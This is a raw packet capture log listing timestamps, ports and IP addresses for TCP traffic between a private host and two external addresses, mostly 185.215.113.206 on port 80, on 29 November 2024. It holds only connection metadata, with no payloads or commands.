Nov 29, 2024 19:49:41.170656919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.170777082 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.170802116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.170841932 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.171322107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.171364069 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.171370029 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.171410084 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.172497988 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.172538996 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.172627926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.172667980 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.173645020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.173690081 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.173767090 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.173799992 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.174915075 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.174962997 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.175079107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.175117016 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.176095963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.176141024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.176228046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.176269054 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.177269936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.177309990 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.177361965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.177401066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.178405046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.178448915 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.178530931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.178570986 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.179631948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.179672003 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.179738998 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.179775000 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.180815935 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.180856943 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.180929899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.180972099 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.182043076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.182081938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.182105064 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.182141066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.183248043 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.183303118 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.183459044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.183506966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.184518099 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.184560061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.184628963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.184669018 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.185738087 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.185777903 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.185863972 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.185904980 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.186888933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.186938047 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.186996937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.187042952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.188071012 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.188112974 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.188239098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.188278913 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.189285040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.189326048 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.189404964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.189445972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.190525055 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.190563917 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.190622091 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.190665960 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.191720009 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.191766024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.191935062 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.191975117 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.192928076 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.192966938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.193048000 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.193087101 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.194149971 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.194188118 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.194272995 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.194313049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.195370913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.195416927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.195461988 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.195504904 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.196579933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.196625948 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.196662903 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.196703911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.197777033 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.197819948 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.197881937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.197921991 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.198987007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.199027061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.199104071 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.199146032 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.200184107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.200223923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.200299025 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.200337887 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.201421022 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.201459885 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.201514959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.201549053 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.202742100 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.202783108 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.202828884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.202868938 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.203807116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.203852892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.203926086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.203965902 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.205039024 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.205075026 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.205163002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.205202103 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.206259966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.206300020 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.206330061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.206368923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.207484961 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.207531929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.207664013 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.207706928 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.208664894 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.208705902 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.208782911 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.208821058 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.209871054 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.209908962 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.209990978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.210031986 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.211128950 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.211170912 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.211260080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.211298943 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.211489916 CET	443	49777	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:41.211559057 CET	443	49777	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:41.211627960 CET	49777	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:41.212399006 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.212440014 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.212472916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.212518930 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.213560104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.213601112 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.213702917 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.213741064 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.214786053 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.214827061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.214891911 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.214931965 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.215981007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.216027021 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.216072083 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.216110945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.217236042 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.217277050 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.217323065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.217365026 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.218384027 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.218457937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.218489885 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.218527079 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.219575882 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.219614983 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.219682932 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.219724894 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.220854998 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.220905066 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.220911980 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.220951080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.222064972 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.222107887 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.222167969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.222206116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.223192930 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.223229885 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.223309994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.223355055 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.224137068 CET	49777	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:41.224158049 CET	443	49777	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:41.224169970 CET	49777	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:41.224175930 CET	443	49777	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:41.224399090 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.224437952 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.224467993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.224508047 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.256771088 CET	49782	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:41.256824017 CET	443	49782	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:41.256889105 CET	49782	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:41.258330107 CET	49782	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:41.258344889 CET	443	49782	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:41.430732012 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.550766945 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.884984970 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.884999990 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.885057926 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.885077953 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.885293007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.885358095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.885457993 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.885457993 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.885927916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.885979891 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.886008978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.886049986 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.887193918 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.887460947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.887512922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.888437986 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.888484955 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.888571978 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.888622046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.889612913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.889662981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.889672041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.889712095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.890763044 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.890810966 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.890856981 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.890904903 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.891984940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.892031908 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.892065048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.892110109 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.893318892 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.893367052 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.893515110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.893560886 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.894407988 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.894454002 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.894517899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.894563913 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.895615101 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.895669937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.895673990 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.895716906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.896805048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.896853924 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.896925926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.896975040 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.898099899 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.898150921 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.898236036 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.898283958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.899323940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.899370909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.899543047 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.899633884 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.900527000 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.900573969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.900574923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.900612116 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.901663065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.901709080 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.901748896 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.901793957 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.902874947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.902924061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.902983904 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.903034925 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.904088974 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.904139042 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.904201031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.904248953 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.905286074 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.905334949 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.905437946 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.905491114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.906519890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.906565905 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.906627893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.906678915 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.907740116 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.907789946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.907818079 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.907872915 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.908926964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.908976078 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.909116030 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.909167051 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.910140038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.910188913 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.910226107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.910265923 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.911400080 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.911448956 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.911500931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.911542892 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.912569046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.912617922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.912672043 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.912720919 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.913791895 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.913842916 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.913872004 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.913918018 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.914980888 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.915031910 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.915118933 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.915184021 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.916222095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.916275024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.916338921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.916385889 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.917438984 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.917491913 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.917557955 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.917608976 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.918857098 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.918905020 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.918967009 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.919018984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.919806957 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.919857979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.919945002 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.919992924 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.921057940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.921106100 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.921134949 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.921178102 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.922233105 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.922281981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.922482014 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.922528028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.923454046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.923506975 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.923521042 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.923624039 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.924783945 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.924839020 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.924850941 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.924895048 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.925841093 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:41.925889015 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:41.925982952 CET	80	49772	185.215.113.206	192.168.2.5
